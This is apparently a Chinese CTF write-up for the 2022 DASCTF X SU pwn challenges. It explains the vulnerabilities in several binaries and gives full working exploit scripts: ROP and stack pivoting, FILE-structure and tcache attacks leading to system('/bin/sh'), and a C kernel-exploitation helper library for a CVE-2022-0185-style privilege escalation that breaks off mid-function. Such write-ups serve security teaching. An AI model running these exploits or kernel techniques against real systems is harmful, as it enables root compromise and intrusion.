2022DASCTFXSU三月春季挑战赛-pwn-wp

2022DASCTFXSU三月春季挑战赛-pwn-wp

今天终于有空来写下wp,比赛那天恰好有事,所以就上午做了下题。最后一题的CVE-2022-0185在学习中,未完待续。

  • 2022-03-31: 更新了weddingexp,可打远程。
  • 2022-04-09:忘记更新了,补上第三题。

checkin

这题最开始想用one gadget去做,后来发现libc-2.31one gadget都比较严格,于是换成puts泄露再读取输入执行system("/bin/sh")

checksec

image-20220328234420617

漏洞点

栈溢出,可溢出0x10字节,覆盖掉rbpret

image-20220328234728394

利用思路

观察0x4011BF处的汇编可知,rax等于rbp-0xb0,然后在0x4011CB处将rax赋值给了rsi,因此,只要控制了rbp,相当于可以在任意地址处写入0xb0个字节。

至少两种思路,主要后面不一样。

思路一:

  • 栈迁移到bss

  • 控制rbp后再进入0x4011BF,然后在bss段上rop

  • 使用partial overwrite 修改read@got,使其为syscall; ret。这里由于read的地址偏移为0xff0,加个0x10直接进位了,所以还有半个字节需要猜测一下,概率为1/16

    image-20220329005900749

  • 使用read控制rax10,并修改read@got,随即利用ret2csu执行mprotect(bss, 0x1000, 7)

  • 跳转到准备好的shellcode执行获取shell

思路二:

  • 栈迁移到bss
  • 控制rbp后再进入0x4011BF,然后在bss段上rop
  • 使用magic gadgetadd [rbp-0x3d], ebx; ret,将setvbuf@got修改为puts的地址
  • 泄露出read地址,计算得到system地址
  • 再次read读取输入,跳转执行system('/bin/sh')即可

EXP

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

if gift.remote:
    libc = ELF('./libc.so.6')
    gift['libc'] = libc

pop_rdi_ret = CurrentGadgets.pop_rdi_ret()
pop_rsi_r15_ret = CurrentGadgets.pop_rsi_r15_ret()
leave_ret = CurrentGadgets.leave_ret()
magic = CurrentGadgets.magic_gadget()
pop_rbp_ret = CurrentGadgets.pop_rbp_ret()
ret = CurrentGadgets.ret()
read_again = 0x4011bf
bss_addr = 0x404080 + 0xa00


def exp_magic():
    pop_rbx_rbp_r12131415 = 0x40124a

    # 栈迁移到bss段
    payload = flat({
        0xa0: [
            bss_addr+0xa0,
            read_again
        ]
    })

    s(payload)

    libc_puts = libc.sym.puts
    libc_setvbuf = libc.sym.setvbuf

    offset = (libc_puts - libc_setvbuf) if libc_puts > libc_setvbuf else (0x100000000 + libc_puts - libc_setvbuf)

    # 修改setvbuf为puts
    payload = flat(
        {
            0: [
                pop_rbx_rbp_r12131415,
                offset,
                elf.got.setvbuf+0x3d,
                0, 0, 0, 0,
                magic,
                ret,
                pop_rdi_ret,
                elf.got.read,
                elf.plt.setvbuf,
                pop_rbp_ret,
                bss_addr+0xa0,
                read_again
            ],
            0xa0: [
                bss_addr - 8,
                leave_ret
            ]
        }
    )
    s(payload)

    read_addr = u64_ex(rl()[:-1])
    libc_base = read_addr - libc.sym.read
    log_libc_base_addr(libc_base)
    libc.address = libc_base

    # 读取输入,执行system('/bin/sh')
    payload = flat({
        0:[
            pop_rdi_ret,
            libc.search(b"/bin/sh").__next__(),
            libc.sym.system
        ],
        0x70: leave_ret,
        0xa0: [
            bss_addr - 8,
            leave_ret
        ]
    })
    s(payload)
    sleep(1)
    sl("cat /flag")
    m = rls("flag")
    if b"flag" in m:
        log_ex(f"Get flag: {m}")
    ia()

def exp_partial_write():
    bss_addr = elf.got.setvbuf
    # 栈迁移
    layout = {
        0xa0: [
            bss_addr+0xa0,
            read_again
        ]
    }
    s(flat(layout))

    # rop1
    layout = {
        0xa0: [
            bss_addr,
            leave_ret
        ],
        0: [
            bss_addr+0x68,
            pop_rsi_r15_ret,
            elf.got.read-8,
            0,
            elf.plt.read,
            0x40124a,  # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
            0, # rbx
            2, # rbp
            bss_addr & ~0xfff,
            0x1000,
            7,
            elf.got.read,
            0x401230, # csu up
            ShellcodeMall.amd64.execve_bin_sh
        ]
    }
    s(flat(layout))
    s(b"a"*8 + p16(0x8000))
    sleep(1)
    sl("cat /flag")
    m = rls("flag")
    if b"flag" in m:
        log_ex(f"Get flag: {m}")
    ia()

if __name__ == "__main__":
    # for i in $(seq 1 20); do ./exp.py de ./checkin -nl ; done
    # try:
    #     exp_partial_write()
    # except:
    #     pass

    exp_magic()

打远程:

image-20220329010500135

爆破:

image-20220329010701970

wedding

这题刚开始被libc给坑了,最开始本地使用的是2.31-0ubuntu9.2_amd64调试的,这个版本的file_jump_table是可写的;但是远程给的是2.31-0ubuntu9.7_amd64,这个版本的file_jump_table都是不可写的。因为我最初使用的思路是改写stdout->flags/bin/sh,修改_IO_file_jumps->_IO_file_xsputnsystem去拿shell,所以那天上午爆破了好久都失败了……所以以后,还是老老实实用给的libc去调试吧。调试的时候建议关闭aslr

checksec

image-20220329011230099

漏洞点

  1. prepare中没有校验offset

    image-20220329011413395

  2. revise中没有校验index:

    image-20220329011500216

建议把这个标识变量改一下,要不然wish/wlsh/w1sh容易看花眼。。。

利用思路

题目给的条件为:

  • 可以分配任意大小的内存
  • 可以在任意偏移处覆盖,但是只能覆盖为0x135或者0x1314,覆盖机会为3
  • 可以在heap任意偏移处的指针写入8或者3个字节,各有1次机会。

当然,上面说的任意也不是完全任意,受限于my_read只读取8个字节,所以实际能控制的偏移(数字)为:-999999999999999

我们知道,在申请内存足够大,大概大于128K的时候,会调用mmap映射虚拟内存页,此时映射的虚拟内存页会位于libc.so映射空间的上方。此时的偏移可控,也就是可以修改libc.so上的任意的数据,修改的内容为2字节,固定。

由于没有地址,朴素的想法就是先泄露地址,因此,打_IO_2_1_stdout_结构体去泄露地址。有地址后就好办了,思路为:

  • 申请大内存,利用任意偏移修改stdout->flagsstdout->_IO_write_base,泄露地址并计算出PIE基地址和libc基地址

  • 利用一个跳板,和两次分别写8/3字节的机会,修改change3change8为小负数,这样就能继续写很多次。我选择的跳板在0x3e20偏移处,第一次可以写8个字节,修改为任意地址,第二次就能将change3修改为小负数

    image-20220329013447320

    然后,使用0x4008这个跳板,就可以把change8也修改为小负数

    image-20220329013551371

  • 继续使用跳板,将stderr->vtable修改为_IO_str_jumps;将_IO_2_1_stderr_+131处修改为sh;;将__free_hook修改为system;将stderr->flags修改为0x80;最后把bss段上的stdout修改为_IO_2_1_stderr_。接着,在调用puts(xxx)的时候,会调用stderr->vtable->_IO_file_xsput,实际调用的是_IO_str_finish,接着调用free(fp->_IO_buf_base),就是调用system("sh;")

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

def prepare(size:int, offset:int=None):
    if size > 0x7fffffff:
        size -= (0x1 << 32)
    if offset and offset > 0x7fffffff:
        offset -= (0x1 << 32) 
    sla("your choice >> \n", "1")
    sa("how much do you prepare>> \n", str(size).ljust(8, "\x00"))
    if offset is not None:
        sa(">> \n", str(offset).ljust(8, "\x00"))


def revise(idx, data):
    sla("your choice >> \n", "2")
    sla("which packet you want to revise>> \n", str(idx))
    sa("now write your wish>> \n", data)

# 调用mmap 分配到libc上方
# 修改stdout->flags
off_first = 0x42ff0
prepare(0x40000, off_first + libc.sym['_IO_2_1_stdout_'] + 1)

# 调用mmap 分配到libc上方
# 修改stdout->write_base
prepare(0x40000, off_first + 0x83ff0 - 0x42ff0 + libc.sym['_IO_2_1_stdout_'] + 0x20)

# 根据标志寻找到地址
io.recvuntil(p64(0xfffffffffffffff8), timeout=10)
m1 = io.recvn(0x10)

code_addr = u64_ex(m1[:8])
libc_addr = u64_ex(m1[8:0x10])
code_base = code_addr - 0x4040
libc_base = libc_addr - 0x1f1530
log_libc_base_addr(libc_base)
log_code_base_addr(code_base)

if (libc_base >> 40) != 0x7f or ((code_base >> 40) != 0x55 and (code_base >> 40) != 0x56):
    errlog_exit("Wrong addr")

libc.address = libc_base
# check
revise(-80, p64(code_base+0x4050+1))
revise(0x3ec, p16(0xffee)+p8(0xff))

revise(-19, p8(0x55))
revise(-19, p16(0xffee)+p8(0xff))

# _IO_2_1_stderr_ 
str_jumps_off = 0x1e9560
revise(-80, p64(libc.sym['_IO_2_1_stderr_'] + 216)) # stderr->vtable

revise(0x3ec, p32_ex(libc_base + str_jumps_off - 0x28)[:3])

revise(-80, p64(libc.sym['__free_hook']))
revise(0x3ec, p64(libc.sym.system)[:3])

revise(-80, p64(libc.sym['__free_hook']+3)) #
revise(0x3ec, p64(libc.sym.system)[3:6])

revise(-80, p64(libc.sym['__free_hook']+6)) #
revise(0x3ec, p64(libc.sym.system)[6:])

revise(-80, p64(libc.sym['_IO_2_1_stderr_'] + 131)) # stderr -> 
revise(0x3ec, "sh;")

revise(-12, p8(0x80))

revise(-80, p64(code_base + 0x4020)) # stdout 

revise(0x3ec, p64(libc.sym['_IO_2_1_stderr_'])[:3])

ia()

这里使用0xfffffffffffffff8来找地址,有代码段地址和libc地址:

image-20220329014634492

本地多试几次就出来了:

image-20220329014526706

远程不知道是不是偏移不对,stdout那里一直没有泄露,不知道啥情况。所以,这个大概率是打远程失败的非预期解了。

wedding-again

今天装了个ubuntu-20.04pwn环境,重新审视一下这道题,发现上面那个EXP打远程是有问题的。正好有很多师傅咨询我这道题的解法,我就更新一下能打通buuexp

存在的问题

上面的exp的调试环境是:ubuntu-18.04 + patchelf + libc-2.31-0ubuntu9.7_amd64.so,其实我还是被patchelf给坑了……

实际上,上面利用的0x3e20这里的跳板是不可行的,远程环境上不可写:

image-20220330235340517

也就是没了code_base + 0x3e20这个跳板。

补充漏洞点

说一个新的漏洞点,其实不完全算漏洞:

image-20220330235441349

prepare的时候,如果满了8个,其实还可以任意次数分配内存,但是此时的v2不来源于i,而是未初始化变量,调试后发现为0,也就会一直覆盖第一个堆指针。下面的利用方法会用到这一漏洞。

新的利用思路

总体的利用思路与上面是一样的,分成四步走:

  • stdout结构体泄露地址,此时需要code_base/libc_base/heap_base三个地址,都可以泄露出来
  • 想办法修改change3change8
  • 寻找到一个可以任意地址写的跳板
  • stderr和改写__free_hook,控制程序流走到_IO_str_finish然后get_shell

其中,第一步和第四步和上面的EXP一样,重点在于第二步与第三步,即如何修改change3change8这两个变量以及寻找一个新的跳板。

首先说一下第二步如何做:

我们还是利用这里的一个指针:

image-20220331000229572

这个指针指向了自己,相对于下方heap的偏移为-19,计算出对应的size的地址为0x4014,内容为0。也就是说,如果第一次revise(-19, xxx),只能写3个字节,可以指向数据段的任意位置。但是,考虑到我们还剩一次prepare的机会,还能任意偏移修改内容为0x135/0x1314

这里可利用数据段与堆挨得很近的特性,在堆上申请一块内存,反向溢出到数据段,那么,就能修改code_base + 0x4014处的内容,将其修改为大于0x999。也就能再一次revise(-19, xxxx),此时就可以写8个字节。

因此,这里的修改方法为:

  • 第一次修改__dso_handle,利用revise(-19, xxx)部分写3个字节,使其指向code_base + 0x4050
  • 利用prepare,修改code_base + 0x4014的内容大于0x999
  • 此时利用revise(-19, xxx),写8个字节,将change3change8均修改为小负数

此时,可以任意次数执行revise

再来看第三步如何做:

我们还是利用数据段和堆挨得很近的特性,向下溢出。第三次分配的内存在堆上,假设其地址为addr1,如果我们要溢出到这个地方,且将addr1作为size,计算出索引:index = (addr1 - (code_base + 0x4060)) / 4,那么,在该索引下对应的heap的地址为:overflow_heap_addr = (code_base + 0x40a0) + index * 8

此时已经有了任意次数的revise,可以修改*addr1 > 0x999,然后利用上面说的任意次数内存分配到overflow_heap_addr,修改*overflow_heap_addr = target_addr。此时revise(index, xxx),即可往任意地址(target_addr)写任意值,并且可以写8个字节。

截图如下:

image-20220331001942991

这里调试的时候没有开aslr,所以没有分配满。

EXP

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

context.timeout = 5

def prepare(size:int, offset:int=None):
    if size > 0x7fffffff:
        size -= (0x1 << 32)
    if offset and offset > 0x7fffffff:
        offset -= (0x1 << 32) 
    sla("your choice >> \n", "1")
    sa("how much do you prepare>> \n", str(size).ljust(8, "\x00"))
    if offset is not None:
        sa(">> \n", str(offset).ljust(8, "\x00"))


def revise(idx, data):
    sla("your choice >> \n", "2")
    sla("which packet you want to revise>> \n", str(idx))
    sa("now write your wish>> \n", data)

# 调用mmap 分配到libc上方
# 修改stdout->flags
off_first = 0x42ff0

if gift.remote:
    off_first = 0x40ff0

prepare(0x40000, off_first + libc.sym['_IO_2_1_stdout_'] + 1)

# 调用mmap 分配到libc上方
# 修改stdout->write_base
prepare(0x40000, off_first + 0x83ff0 - 0x42ff0 + libc.sym['_IO_2_1_stdout_'] + 0x20)

# 根据标志寻找到地址
io.recvuntil(p64(0xfffffffffffffff8), timeout=5)
m1 = io.recvn(0x10)

io.recvuntil(p64(0xffffffffffffff78), timeout=5)
m2 = io.recvn(0x2d8)

code_addr = u64_ex(m1[:8])
libc_addr = u64_ex(m1[8:0x10])
heap_base = u64_ex(m2[-8:])
code_base = code_addr - 0x4040
libc_base = libc_addr - 0x1f1530
log_libc_base_addr(libc_base)
log_code_base_addr(code_base)
log_code_base_addr(heap_base)

if ((libc_base >> 40) != 0x7f and (libc_base >> 40) != 0x7e) or ((code_base >> 40) != 0x55 and (code_base >> 40) != 0x56):
    errlog_exit("Wrong addr")

libc.address = libc_base

revise(-19, p32_ex(code_base+0x4050)[:3])

# 堆上分配一个chunk用于溢出
target_addr = code_base + 0x4015
heap_addr = heap_base + 0x2a0

assert len(str(target_addr-heap_addr)) <= 8, "try again"

prepare(0x100, target_addr-heap_addr) # 2
revise(-19, p32(0xff000000)*2) # 修改change3和change8

revise(2, p16(0x2000))

# 计算size地址
sizes_addr = code_base + 0x4060
# 计算索引
index = (heap_addr - sizes_addr) // 4
# 计算堆地址
overflow_heap_addr = (8 * index) + (code_base + 0x40a0) 
current_top_chunk = heap_base + 0x3a0
# 这里减去0x10,留下chunk head
distance = overflow_heap_addr - current_top_chunk - 0x10

log_ex(f"current index: {index}")
log_ex(f"overflow_heap_addr: {hex(overflow_heap_addr)}")
log_ex(f"current_top_chunk: {hex(current_top_chunk)}")

count = 2
alloc_size = 0x10010
while True:
    x, y = divmod(distance, alloc_size)
    if y == 0 or y >= 0x20: # y不能是0x10
        break
    alloc_size -= 0x10

for i in range(x):
    prepare(alloc_size-0x10)
    count += 1

if y:
    prepare(y-0x10)
    count += 1

prepare(0x1000)
count += 1

log_ex(f"total count: {hex(count)}")

# 如果满了8个,那么都会覆盖第一个
if count > 7:
    count = 0

revise(count, p64(libc.sym.__free_hook))
revise(index, p64(libc.sym.system))
str_jumps_off = 0x1e9560
revise(count, p64(libc.sym['_IO_2_1_stderr_'] + 216)) # stderr->vtable
revise(index, p64(libc_base + str_jumps_off - 0x28))

revise(count, p64(libc.sym['_IO_2_1_stderr_'] + 131)) # stderr->_IO_buf_base
revise(index, "sh;")

revise(-12, p8(0x80)) # stderr->flags

revise(count, p64(code_base + 0x4020)) # stderr->_IO_buf_base
revise(index, p64(libc.sym['_IO_2_1_stderr_'])) # 替换stdout为_IO_2_1_stderr_

ia()

buu的远程

image-20220331003015483

wedding-again-again

tomato师傅交流了一下,补充一个新的利用思路。

新的利用思路

前面的过程还是一样的,首先需要泄露地址。然后,攻击mp.tcache_bins这个变量。这个变量可以使得很大的堆块也被tcache bins所管理。例如,利用heap_base+0x298处的值作为size,计算出如果放置到tcache bins中管理,chunk的大小为0x1460,对应的堆地址为heap_base + 0xab0。然后,可以利用两次revise修改change8为小负数,最后继续使用相同的办法往任意地址写任意值。

这里我用了一个小trick:

1
2
3
4
5
6
7
8
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  e->key = NULL;
  return (void *) e;
}

利用tcache bin poisoning分配到code_base + 0x4048处,利用e->key = NULL;,可以将change3change8刷为0。就可以再执行两次revise。然后还是利用__dso_handlechange8修改为小负数,如图:

image-20220331222528057

这里选择_IO_2_1_stdin_,避免e->key = NULL修改掉了stdout->flags

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

def prepare(size:int, offset:int=None):
    if size > 0x7fffffff:
        size -= (0x1 << 32)
    if offset and offset > 0x7fffffff:
        offset -= (0x1 << 32) 
    sla("your choice >> \n", "1")
    sa("how much do you prepare>> \n", str(size).ljust(8, "\x00"))
    if offset is not None:
        sa(">> \n", str(offset).ljust(8, "\x00"))


def revise(idx, data):
    sla("your choice >> \n", "2")
    sla("which packet you want to revise>> \n", str(idx))
    sa("now write your wish>> \n", data)

# 调用mmap 分配到libc上方
# 修改stdout->flags
off_first = 0x42ff0

if gift.remote:
    off_first = 0x40ff0

prepare(0x40000, off_first + libc.sym['_IO_2_1_stdout_'] + 1)

# 调用mmap 分配到libc上方
# 修改stdout->write_base
prepare(0x40000, off_first + 0x83ff0 - 0x42ff0 + libc.sym['_IO_2_1_stdout_'] + 0x20)

# 根据标志寻找到地址
io.recvuntil(p64(0xfffffffffffffff8), timeout=10)
m1 = io.recvn(0x10)

code_addr = u64_ex(m1[:8])
libc_addr = u64_ex(m1[8:0x10])
code_base = code_addr - 0x4040
libc_base = libc_addr - 0x1f1530
log_libc_base_addr(libc_base)
log_code_base_addr(code_base)

if ((libc_base >> 40) != 0x7f and (libc_base >> 40) != 0x7e) or ((code_base >> 40) != 0x55 and (code_base >> 40) != 0x56):
    errlog_exit("Wrong addr")

libc.address = libc_base

tcache_bins_off = 0x1ec2d0
"""
size = 8 * count_addr - 0x60 
size = 2 * bins_addr - 0x100  
"""
# 攻击mp.tcache_bins
prepare(0x40000, off_first + (0x83ff0 - 0x42ff0) * 2 + tcache_bins_off)

prepare(0xab0 - 0x290 - 0x20)
prepare(0x2000) # 4

revise(4, p64(code_base + 0x4048))
revise(-19, p64(code_base + 0x4055)[:3])
prepare(0x1450) # 5 tcachebin attack

revise(-19, p64(0xffeeee)[:3]) # change8

str_jumps_off = 0x1e9560
revise(4, p64(libc.sym['_IO_2_1_stdin_'] + 216)) # stdin->vtable
prepare(0x1450) # 6
revise(6, p64(libc_base + str_jumps_off - 0x28))


revise(4, p64(libc.sym['__free_hook'])) # __free_hook
prepare(0x1450) # 7
revise(7, p64(libc.sym.system))

revise(4, p64(libc.sym['_IO_2_1_stdin_'])) # stdin->flags
prepare(0x1450) # 0
revise(0, p64(0x80))

revise(4, p64(libc.sym['_IO_2_1_stdin_'] + 56)) # stdin->_IO_buf_base
prepare(0x1450) # 0
revise(0, p64(libc.search(b"/bin/sh").__next__()))

revise(4, p64(code_base + 0x4020)) # stdout
prepare(0x1450) # 0
revise(0, p64(libc.sym['_IO_2_1_stdin_']))

ia()

综上,pwn题的环境真的非非非非非常影响解题。

SU_message

这里有出题人的出题报告:https://kagehutatsu.com/?p=551

好吧,忘记把这一题更新了,有位师傅提醒我才想起来还有这事。

基本研究完CVE-2022-0185后,这一题利用就很简单。可以用msg_msg结构体构造堆喷,之后可以构造任意地址写。由于未开启KASLR,所以都不需要泄露地址,但是我自己下来做的时候还是按照开启kaslr来做的。

简单总结一下利用思路:

  • msgsnd布局msgmsgmsgmsg_seq结构体,堆喷
  • 修改msgmsg->mts泄露地址
  • 修改msgmsg->next任意地址写,这里可以使用userfault增加竞争成功的几率
  • 修改modprobe_path进行提权

EXP

exp如下,helpful.h,记录了一些常用的函数:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <poll.h>
#include <assert.h>
#include <syscall.h>
#include <pthread.h>
#include <linux/fs.h>
#include <linux/fuse.h>
#include <linux/sched.h>
#include <linux/if_ether.h>
#include <linux/userfaultfd.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>

// data
size_t g_user_cs, g_user_ss, g_user_sp, g_user_eflags;
size_t g_prepare_kernel_cred_addr, g_commit_creds_addr;
size_t g_vmlinux_base_addr;
size_t *g_buffer;

#define G_BUFFER_SIZE 0x100000
#define PAGE_SIZE 0x1000

/*
extern size_t g_user_cs, g_user_ss, g_user_sp, g_user_eflags;
extern size_t g_prepare_kernel_cred_addr, g_commit_creds_addr;
extern size_t g_vmlinux_base_addr;
extern size_t *g_buffer;
*/

#define RAW_VMLINUX_BASE_ADDR 0xffffffff81000000
#define GADGETS_OFFSET (g_vmlinux_base_addr - RAW_VMLINUX_BASE_ADDR)

void __attribute__((constructor)) initial()
{
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    g_buffer = (size_t *)calloc(G_BUFFER_SIZE, 1);
}

void __attribute__((destructor)) finish()
{
    free(g_buffer);
}

void clear_buffer()
{
    if (g_buffer)
    {
        memset(g_buffer, G_BUFFER_SIZE, 0);
    }
}

void info(const char *fmt, ...)
{
    va_list arg;
    int done;
    char s[0x1000] = {0};
    va_start(arg, fmt);
    done = vsprintf(s, fmt, arg);
    va_end(arg);
    printf("[\033[40;33m*\033[0m] \033[40;33mINFO\033[0m ===> %s\r\n", s);
}

void success(const char *fmt, ...)
{
    va_list arg;
    int done;
    char s[0x1000] = {0};
    va_start(arg, fmt);
    done = vsprintf(s, fmt, arg);
    va_end(arg);
    printf("[\033[40;32m+\033[0m] \033[40;32mOJBK\033[0m ===> %s\r\n", s);
}

void fail(const char *fmt, ...)
{
    va_list arg;
    int done;
    char s[0x1000] = {0};
    va_start(arg, fmt);
    done = vsprintf(s, fmt, arg);
    va_end(arg);
    printf("[\033[40;31m-\033[0m] \033[40;31mFAIL\033[0m ===> %s\r\n", s);
}

void warn(const char *fmt, ...)
{
    va_list arg;
    int done;
    char s[0x1000] = {0};
    va_start(arg, fmt);
    done = vsprintf(s, fmt, arg);
    va_end(arg);
    printf("[\033[40;34m#\033[0m] \033[40;34mWARN\033[0m ===> %s\r\n", s);
}

void error(const char *fmt, ...)
{
    va_list arg;
    int done;
    char s[0x1000] = {0};
    va_start(arg, fmt);
    done = vsprintf(s, fmt, arg);
    va_end(arg);
    printf("[\033[40;31m!\033[0m] \033[40;31mERROR\033[0m ===> %s\r\n", s);
    exit(-1);
}

void get_shell()
{
    if (getuid() == 0)
    {
        success("Get root shell!!!");
    }
    else
    {
        warn("Get normal shell...");
    }
    system("/bin/sh");
}

void get_shell_si()
{
    system("/bin/sh");
}

static size_t get_shell_ex_flag = 0;
void get_shell_ex()
{
    if (get_shell_ex_flag)
    {
        return;
    }

    if (getuid() == 0)
    {
        success("Get root shell!!!");
        get_shell_ex_flag = 1;
    }
    else
    {
        warn("Get normal shell...");
    }
    system("/bin/sh");
}

// at&t flavor assembly
void save_status()
{
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        : "=r"(g_user_cs), "=r"(g_user_ss), "=r"(g_user_eflags), "=r"(g_user_sp)
        :
        : "memory");
}

void set_root_uid()
{
    if (!g_prepare_kernel_cred_addr || !g_commit_creds_addr)
    {
        error("set prepare_kernel_cred_addr and commit_creds_addr first!");
    }
    char *(*pkc)(int) = g_prepare_kernel_cred_addr;
    void (*cc)(char *) = g_commit_creds_addr;
    (*cc)((*pkc)(0));
}

void *get_mmap_rwx(size_t addr, size_t len)
{
    return mmap((void *)addr, len, 7, 0x22, -1, 0);
}

void show_addr_u64(void *addr, size_t size)
{
    if (size < 8)
    {
        error("size is too small, must be 8 at least!");
    }
    printf("\r\n===============show adddress info for [%p]===============\r\n\r\n", addr);
    size = (size / 8) * 8;
    char *s = (char *)addr;
    for (; s < ((char *)addr) + size; s += 8)
    {
        printf("0x%016lx: 0x%016lx", (size_t)s, *(size_t *)s);
        s += 8;
        if (s < ((char *)addr) + size)
        {
            printf("\t0x%016lx\r\n", *(size_t *)s);
        }
    }
    printf("\r\n===============show adddress info for [%p]===============\r\n\r\n", addr);
}

void show_addr_u32(void *addr, size_t size)
{
    if (size < 4)
    {
        error("size is too small, must be 4 at least!");
    }
    printf("\r\n===============show adddress info for [%p]===============\r\n\r\n", addr);
    size = (size / 4) * 4;
    char *s = (char *)addr;
    for (; s < ((char *)addr) + size; s += 4)
    {
        printf("0x%08lx: 0x%08lx", (size_t)s, *(uint32_t *)s);
        s += 4;
        if (s < ((char *)addr) + size)
        {
            printf("\t0x%08lx\r\n", *(uint32_t *)s);
        }
    }
    printf("\r\n===============show adddress info for [%p]===============\r\n\r\n", addr);
}

void flat(size_t data[], const size_t data_len, size_t *target_addr, size_t *cur_idx)
{
    for (size_t i = 0; i < data_len; i++)
    {
        target_addr[*cur_idx] = data[i];
        ++(*cur_idx);
    }
}

//=====================================userfaultfd======================
ssize_t process_userfault_running = 0;
struct UserfaultHandlerArg
{
    size_t uffd;
    void (*func)(void *, void *);
    void *func_args;
};

void register_userfault(void *fault_page, void *handler, void (*func)(void *, void *), void *func_args)
{
    pthread_t thr;
    struct uffdio_api ua;
    struct uffdio_register ur;
    size_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    ua.api = UFFD_API;
    ua.features = 0;
    if (ioctl(uffd, UFFDIO_API, &ua) == -1)
        error("ioctl-UFFDIO_API");

    ur.range.start = (unsigned long)fault_page; //我们要监视的区域
    ur.range.len = PAGE_SIZE;
    ur.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理,当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作
        error("ioctl-UFFDIO_REGISTER");
    //开一个线程,接收错误的信号,然后处理
